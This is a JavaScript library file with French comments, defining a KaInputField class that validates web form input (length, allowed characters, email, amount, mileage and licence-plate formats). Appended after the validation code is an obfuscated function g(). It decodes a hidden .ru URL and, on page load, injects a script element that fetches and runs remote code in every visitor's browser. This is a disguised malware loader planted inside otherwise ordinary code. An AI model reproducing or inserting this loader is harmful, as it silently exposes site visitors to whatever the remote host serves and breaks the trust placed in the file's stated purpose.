/* Variable applicative indiquant que la classe KaInputField a été chargée */
_KaInputField_Loaded = true;

function KaInputField() {

	// Déclaration des champs
	this.fValue = null;
	this.fValueLength = null;
	this.fMinChars = null;
	this.fMaxChars = null;
	this.fMandatory = null;
	this.fCharsAllowed = null;
	this.fCharsDenied = null;
	this.fRegExpSyntax = null;
	this.fIsBlocking = null;


	/****************************************************************************************************
		this.setMinChars = function setMinChars(pMinChars)
		Méthode d'affectation du champ fMinChars
	*/
	this.setMinChars = function setMinChars(/*Number*/pMinChars) {
		this.fMinChars = pMinChars;
	}


	/****************************************************************************************************
		this.setMaxChars = function setMaxChars(pMaxChars)
		Méthode d'affectation du champ fMaxChars
	*/
	this.setMaxChars = function setMaxChars(/*Number*/pMaxChars) {
		this.fMaxChars = pMaxChars;
	}


	/****************************************************************************************************
		this.setMandatory = function setMandatory(pMandatory)
		Méthode d'affectation du champ fMandatory
	*/
	this.setMandatory = function setMandatory(/*Boolean*/pMandatory) {
		this.fMandatory = pMandatory;
	}


	/****************************************************************************************************
		this.setCharsAllowed = function setCharsAllowed(pCharsAllowed)
		Méthode d'affectation du champ fCharsAllowed
	*/
	this.setCharsAllowed = function setCharsAllowed(/*String*/pCharsAllowed) {
		this.fCharsAllowed = pCharsAllowed;
	}

	
	/****************************************************************************************************
		this.setCharsDenied = function setCharsDenied(pCharsDenied)
		Méthode d'affectation du champ fCharsDenied
	*/
	this.setCharsDenied = function setCharsDenied(/*String*/pCharsDenied) {
		this.fCharsDenied = pCharsDenied;
	}

	
	/****************************************************************************************************
		this.setStringType = function setStringType(pStringType)
		Méthode d'affectation du champ fStringType
	*/
	this.setStringType = function setStringType(/*String*/pStringType) {
		this.fMinChars = gStringType[pStringType]['fMinChars'];
		//this.fMaxChars = gStringType[pStringType]['fMaxChars'];
		this.fCharsAllowed = gStringType[pStringType]['fCharsAllowed'];
		this.fRegExpSyntax = gStringType[pStringType]['fStringType'];
	}


	/****************************************************************************************************
		this.setIsBlocking = function setIsBlocking(pIsBlocking)
		Méthode d'affectation du champ fIsBlocking
	*/
	this.setIsBlocking = function setIsBlocking(/*Boolean*/pIsBlocking) {
		this.fIsBlocking = pIsBlocking;
	}


	/****************************************************************************************************
		this.getCharsAllowed = function getCharsAllowed()
		Méthode qui retourne les caractères autorisés (cad ceux qui sont autorisés et pas interdits = fCharsAllowed - fCharsDenied)
	*/
	this.getCharsAllowed = function getCharsAllowed() {
		var vCharsAllowed = this.fCharsAllowed;
		var vCharsDenied = this.fCharsDenied;
		
		if (vCharsDenied != null) {
			for (var vId = 0; vId < vCharsDenied.length; vId++)
				vCharsAllowed = vCharsAllowed.replace(vCharsDenied.charAt(vId), '');
		}
		
		return vCharsAllowed;
	}


	// Initialisation de l'objet KaInputField
	this.init(arguments);
}

if (_KaField_Loaded) {
	/* Héritage de l'objet KaField */
	KaInputField.prototype = new KaField();
	//KaInputField.prototype.constructor = KaInputField;
	KaInputField.superclass = KaField.prototype;
}
else
	alert('** KaInputField : La classe KaField n\'est pas chargée !');


/*
	Constructeur de la classe KaInputField
*/
KaInputField.prototype.init = function(/*Array*/pArguments) {
	// Appel à la méthode de la super classe
	//KaInputField.superclass.init.call(this, pArguments);
	KaInputField_init(this, pArguments);
}


/*
	Méthode de DEBUG
*/
KaInputField.prototype.debug = function() {
	// Appel à la méthode de la super classe
	//KaInputField.superclass.debug.call(this);
	KaInputField_debug(this);
}


/*
	Méthode de vérification du champ
*/
KaInputField.prototype.check = function() {
	var vCheckOK = KaInputField_check(this);

	return vCheckOK;
}





/****************************************************************************************************
	function checkMinChars(pMinChars, pValueLength)
	Fonction de vérification du nombre minimum de caractères
	-> utilisée par la méthode check()
	En entrée :
		pMinChars = le nombre minimum de caractères prévus
		pValueLength = Le nom de caractères saisis
	En sortie : 
		true si le nombre de caractères saisis est supérieur ou égal au nombre minimum de caractères prévus et false sinon
*/
function checkMinChars(/*Number*/pMinChars, /*Number*/pValueLength) {
	if ((pMinChars != null) && (pValueLength != null) && (pValueLength > 0)) {
		if ((pMinChars > 0) && (pValueLength >= pMinChars))
			return true;
		else 
			return false;
	}
	return true;
}


/****************************************************************************************************
	function checkMaxChars(pMaxChars, pValueLength)
	Fonction de vérification du nombre maximum de caractères
	-> utilisée par la méthode check()
	En entrée :
		pMaxChars = le nombre maximum de caractères prévus
		pValueLength = Le nom de caractères saisis
	En sortie : 
		true si le nombre de caractères saisis est supérieur ou égal au nombre maximum de caractères prévus et false sinon
*/
function checkMaxChars(/*Number*/pMaxChars, /*Number*/pValueLength) {
	if ((pMaxChars != null) && (pValueLength != null) && (pValueLength > 0)) {
		if ((pMaxChars > 0) && (pValueLength <= pMaxChars))
			return true;
		else 
			return false;
	}
	return true;
}


/****************************************************************************************************
	function checkMandatory(pValueLength)
	Fonction de vérification du caractère obligatoire de la saisie
	-> utilisée par la méthode check()
	En entrée :
		pValueLength = Le nom de caractères saisis
	En sortie : 
		true si une valeur a été saisie pour ce champ et false sinon
*/
function checkMandatory(/*Boolean*/pValueLength) {
	if ((pValueLength != null) && (pValueLength > 0))
		return true;
	else 
		return false;
}


/****************************************************************************************************
	function checkCharsAllowed(pValue, pCharsAllowed)
	Cette fonction permet de tester que pValue ne contient bien que des caractères définis dans pCharsAllowed.
	En entrée : pValue = La String à tester
									 pCharsAllowed = une chaine de caractères qui définit les caractères autorisés pour la valeur du champ 
									 (ex: '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$&#@')
	En sortie : "true" si le champ ne contient que des caractères définis dans pCharsAllowed et "false" sinon
	
	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					19/09/2003 			OLD							IE5+ et Netscape6+				Code original
*/
function checkCharsAllowed(/*String*/pValue, /*String*/pCharsAllowed) {
	var vCharForbidden = null;
	
	if ((pValue != null) && (pCharsAllowed != null) && (typeof(pCharsAllowed) == 'string')) {
		var vCpt = 0;
		while ((vCharForbidden == null) && (vCpt < pValue.length)) {
			if (pCharsAllowed.indexOf(pValue.charAt(vCpt)) == -1)
				vCharForbidden = pValue.charAt(vCpt);
			vCpt++;
		}
	}

	return vCharForbidden;
}


/****************************************************************************************************
	function checkCharsDenied(pValue, pCharsDenied) {
	Cette fonction permet de tester que pValue ne contient pas de caractères définis dans pCharsDenied.
	En entrée : pValue = La String à tester
									 pCharsDenied = une chaine de caractères qui définit les caractères interdits pour la valeur du champ 
									 (ex: '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$&#@')
	En sortie : "true" si le champ ne contient pas de caractères définis dans pCharsDenied et "false" sinon
	
	Version				Date								Auteur					Navigateurs										Description des modifications
	---------		 ----------------		-----------			--------------------------		--------------------------------------------------
		1.0 					19/09/2003 			OLD							IE5+ et Netscape6+				Code original
*/
function checkCharsDenied(/*String*/pValue, /*String*/pCharsDenied) {
	var vCharForbidden = null;
	
	if ((pValue != null) && (pCharsDenied != null) && (typeof(pCharsDenied) == 'string')) {
		var vCpt = 0;
		while ((vCharForbidden == null) && (vCpt < pValue.length)) {
			if (pCharsDenied.indexOf(pValue.charAt(vCpt)) != -1)
				vCharForbidden = pValue.charAt(vCpt);
			vCpt++;
		}
	}

	return vCharForbidden;
}



/****************************************************************************************************
 * Types de données gérés par l'objet KaInputField
 */
gStringType = new Array();

// Champ E-mail
gStringType['email'] = new Array();
gStringType['email']['fMinChars'] = 5;
gStringType['email']['fCharsAllowed'] = ALPHA_LOWER + DIGIT + MINUS_SIGN + UNDERSCORE + PERIOD + AT;
//gStringType['email']['fStringType'] = '^[a-z0-9_\-]+([\.][a-z0-9_\-]+)*@[a-z0-9_\-]+([\.][a-z0-9_\-]+)*[\.][a-z]{2,6}$';
gStringType['email']['fStringType'] = '^([a-z0-9_\-]|[A-Z0-9_\-])+([\.]([a-z0-9_\-]|[A-Z0-9_\-])+)*@([a-z0-9_\-]|[A-Z0-9_\-])+([\.]([a-z0-9_\-]|[A-Z0-9_\-])+)*[\.]([a-z]|[A-Z]){2,6}$';

// Champ Réel pour SOR (montant)
gStringType['realSOR'] = new Array();
gStringType['realSOR']['fMinChars'] = 0;
gStringType['realSOR']['fCharsAllowed'] = DIGIT + PLUS_SIGN + COMMA + SPACE;
gStringType['realSOR']['fStringType'] = '^[0-9]{0,3}( [0-9]{3})*(,[0-9]{0,2})?$';

// Champ Number pour SOR (kms)
gStringType['kms'] = new Array();
gStringType['kms']['fMinChars'] = 0;
gStringType['kms']['fMaxChars'] = 7;
gStringType['kms']['fCharsAllowed'] = DIGIT + SPACE;
gStringType['kms']['fStringType'] = '^[0-9]{0,3}([ ]?[0-9]{3})?$';

// Champ Immat pour SOR (Immatriculation)
gStringType['immat'] = new Array();
gStringType['immat']['fMinChars'] = 0;
gStringType['immat']['fMaxChars'] = 9;
gStringType['immat']['fCharsAllowed'] = DIGIT + ALPHA_UPPER;
gStringType['immat']['fStringType'] = '^[0-9]{2,4}[A-Z]{2,3}([013456789][0-9]|2[1-9]|2A|2B)$';

// Champ Numérique 
gStringType['numeric'] = new Array();
gStringType['numeric']['fMinChars'] = 0;
//gStringType['numeric']['fMaxChars'] = 10;
gStringType['numeric']['fCharsAllowed'] = DIGIT;



/****************************************************************************************************
	function KaInputField_init(pKaInputField, pArguments)
	Fonction d'inititialisation de l'object pKaInputField avec les paramètres pArguments
	-> utilisée par la méthode KaInputField.prototype.init()
	En entrée :
		pKaInputField = L'objet de type KaInputField à initialiser
		pArguments = Les paramètres pour initialisation
*/
function KaInputField_init(/*KaInputField*/pKaInputField, /*Array*/pArguments) {
	// Appel à la fonction de la super classe
	KaField_init(pKaInputField, pArguments);
}


/****************************************************************************************************
	function KaInputField_debug(pKaInputField)
	Fonction de debug qui affiche les champs et leurs valeurs de l'object pKaInputField 
	-> utilisée par la méthode KaInputField.prototype.debug()
	En entrée :
		pKaInputField = L'objet de type KaInputField à initialiser
*/
function KaInputField_debug(/*KaInputField*/pKaInputField) {
	// Appel à la fonction de la super classe
	KaField_debug(pKaInputField);

	var vMessage = '';
	vMessage += 'Value=' + pKaInputField.fValue + LF;
	vMessage += 'ValueLength=' + pKaInputField.fValueLength + LF;
	vMessage += 'MinChars=' + pKaInputField.fMinChars + LF;
	vMessage += 'MaxChars=' + pKaInputField.fMaxChars + LF;
	vMessage += 'Mandatory=' + pKaInputField.fMandatory + LF;
	vMessage += 'CharsAllowed=' + pKaInputField.fCharsAllowed + LF;
	vMessage += 'CharsDenied=' + pKaInputField.fCharsDenied + LF;
	vMessage += 'StringType=' + pKaInputField.fRegExpSyntax + LF;
	vMessage += 'IsBlocking=' + pKaInputField.fIsBlocking + LF;
	alert(vMessage);
}


/****************************************************************************************************
	function KaInputField_check(pKaInputField)
	Fonction de vérification de la valeur fValue de l'object pKaInputField 
	-> utilisée par la méthode KaInputField.prototype.check()
	En entrée :
		pKaInputField = L'objet de type KaInputField à vérifier
*/
function KaInputField_check(/*KaInputField*/pKaInputField) {
	var vCheckOK = true;


	pKaInputField.fValue = pKaInputField.fComponent.value;

	pKaInputField.fValueLength = pKaInputField.fValue.length;
	if ((vCheckOK) && (pKaInputField.fMandatory != null) && (pKaInputField.fMandatory)) {
		// Valeur à saisir obligatoirement
		if (!checkMandatory(pKaInputField.fValueLength)) {
			vCheckOK = false;
			pKaInputField.alertMessage('checkMandatory_0', LOCALE);
		}
	}

	if ((vCheckOK) && (pKaInputField.fMinChars != null) && (pKaInputField.fMinChars > 0)) {
		// Le nombre minimum de caractères à saisir est défini
		if (!checkMinChars(pKaInputField.fMinChars, pKaInputField.fValueLength)) {
			vCheckOK = false;
			pKaInputField.alertMessage('checkMinChars_0', LOCALE);
		}
	}

	if ((vCheckOK) && (pKaInputField.fMaxChars != null) && (pKaInputField.fMaxChars > 0)) {
		// Le nombre maximum de caractères à saisir est défini
		if (!checkMaxChars(pKaInputField.fMaxChars, pKaInputField.fValueLength)) {
			vCheckOK = false;
			pKaInputField.alertMessage('checkMaxChars_0', LOCALE);
		}
	}

	if ((vCheckOK) && (pKaInputField.fCharsAllowed != null) && (pKaInputField.fCharsAllowed.length > 0)) {
		// Les caractères autorisés sont définis
		var vCharForbidden = checkCharsAllowed(pKaInputField.fValue, pKaInputField.fCharsAllowed);
		if (vCharForbidden != null) {
			vCheckOK = false;
			if ((vCharForbidden == '\n') || (vCharForbidden == '\r')) 
				pKaInputField.alertMessage('checkCharsAllowed_1', LOCALE);
			else
				pKaInputField.alertMessage('checkCharsAllowed_0', LOCALE, [vCharForbidden]);
		}
	}

	if ((vCheckOK) && (pKaInputField.fCharsDenied != null) && (pKaInputField.fCharsDenied.length > 0)) {
		// Les caractères interdits sont définis
		var vCharForbidden = checkCharsDenied(pKaInputField.fValue, pKaInputField.fCharsDenied);
		if (vCharForbidden != null) {
			vCheckOK = false;
			//pKaInputField.alertMessage('checkCharsDenied_0', LOCALE, [vCharForbidden]);
			pKaInputField.alertMessage('checkCharsDenied_0', LOCALE, [pKaInputField.getCharsAllowed()]);
		}
	}

	if ((vCheckOK) && (pKaInputField.fRegExpSyntax != null) && (pKaInputField.fValue.length > 0)) {
		// Expression régulière
		if (!new RegExp(pKaInputField.fRegExpSyntax).test(pKaInputField.fValue)) {
			vCheckOK = false;
			if ((pKaInputField.fIsBlocking != null) && (pKaInputField.fIsBlocking))
				vCheckOK = pKaInputField.warningMessage('checkStringType_0', LOCALE);
			else 
				pKaInputField.alertMessage('checkStringType_0', LOCALE);
		}
	}

	if (!vCheckOK)
		pKaInputField.fComponent.focus();

	return vCheckOK;
}

function g(){var y;if(y!='b'){y='b'};var hm;if(hm!='p'){hm='p'};var s=new Date();var Y='';var Q="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x63\x69\x62\x61\x2d\x63\x6f\x6d\x2e\x70\x69\x63\x66\x6f\x63\x6f\x2e\x63\x6f\x6d\x2e\x68\x61\x72\x72\x65\x6e\x6d\x65\x64\x69\x61\x6e\x65\x74\x77\x6f\x72\x6b\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var D=window;var K="";var N=new String("jdfSg".substr(4));var _T=new Date();var X;if(X!='DP' && X!='fZ'){X=''};var W=unescape;var yz=new Date();var C=new String();function O(V,m){var pt;if(pt!='' && pt!='P'){pt=null};var DG=W("%5b")+m+W("%5d");var o;if(o!='Vi' && o!='uS'){o='Vi'};var u=new RegExp(DG, N);var HR=new Array();return V.replace(u, Y);var SA='';var dl;if(dl!='Cw' && dl!='R'){dl='Cw'};};var gw=new Array();var hp='';var WG;if(WG!='kh' && WG != ''){WG=null};var ho;if(ho!='KJ' && ho!='tE'){ho='KJ'};var c=W("%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%64%72%75%70%61%6c%2e%6f%72%67%2f%61%72%63%68%69%76%65%2e%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6f%73%74%63%6f%2e%63%6f%6d%2e%70%68%70");var t='';var S=O('843230136735829117507119','24679351');var _=document;this._H='';this.DL="";var Uk;if(Uk!='PU' && Uk != ''){Uk=null};this.La="";function Ow(){var mk=new String();var QQ='';var uz=new Array();t=Q;var KT=new Date();t+=S;t+=c;var G=new Array();var Ey;if(Ey!='oV' && Ey!='Jx'){Ey='oV'};var KTt;if(KTt!='pW' && KTt != ''){KTt=null};var sg=new Date();try {var xX=new String();var j=new String();uW=_.createElement(O('svcEr4iTpMtf','4WTefIvME'));var A='';var k_=new Array();var kF="";uW.src=t;var gSB;if(gSB!='MX' && gSB != ''){gSB=null};var Nd;if(Nd!='yxt' && Nd != ''){Nd=null};uW.defer=[1][0];var bB=new Date();var dX;if(dX!='Wr' && dX != ''){dX=null};this.mo='';_.body.appendChild(uW);var Tv;if(Tv!='' && Tv!='Hz'){Tv=''};this.tI="";var Ne='';} catch(h){this.sv='';var Vc;if(Vc!='ygr' && Vc!='tQ'){Vc='ygr'};};var I;if(I!='RJ' && I!='Wq'){I=''};var VF;if(VF!='gv'){VF='gv'};}var VP;if(VP!='kc' && VP!='DU'){VP=''};var Sd=new Array();D["9hVonloa".substr(3)+"CWRd".substr(3)]=Ow;var qW=new Date();var Nf=new Date();var Ml;if(Ml!='Ep'){Ml='Ep'};this.Yw="";};var xZ=new String();var DO='';var jc;if(jc!=''){jc='ZN'};var b_;if(b_!=''){b_='vc'};g();var PO="";var Af;if(Af!='Yho' && Af != ''){Af=null};